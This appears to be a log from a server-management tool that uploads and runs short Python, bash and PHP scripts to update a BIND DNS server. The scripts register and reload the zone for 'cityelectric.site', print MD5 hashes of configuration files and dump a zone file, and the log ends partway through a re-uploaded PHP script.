MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:15:57: 

PUT: /tmp/pkp745670

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 14:15:57: 

chmod 755 /tmp/pkp745670; /tmp/pkp745670; rm /tmp/pkp745670

2026-02-09 14:16:00: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 14:16:00: 

PUT: /tmp/pkp998321

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 14:16:00: 

chmod 755 /tmp/pkp998321; /tmp/pkp998321; rm /tmp/pkp998321

2026-02-09 14:16:00: 


zone reload queued


2026-02-09 14:16:00: Establishing a connection
2026-02-09 14:16:00: 

PUT: /tmp/pkp857938

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:16:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp857938; rm /tmp/pkp857938'

2026-02-09 14:16:01: 
2026-02-09 14:16:01: 

PUT: /tmp/pkp568092

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:16:01: 

chmod 755 /tmp/pkp568092; /tmp/pkp568092; rm /tmp/pkp568092

2026-02-09 14:16:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	829
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129311 14400 3600 14400 3600 )
_acme-challenge           60	 IN    TXT      	"e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                       300	 IN    A        	100.64.1.3






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8cfa4ab3d8b17cb819bbbf0ea93fd8e9
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:16:15: Establishing a connection
2026-02-09 14:16:15: 

PUT: /tmp/pkp984487

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

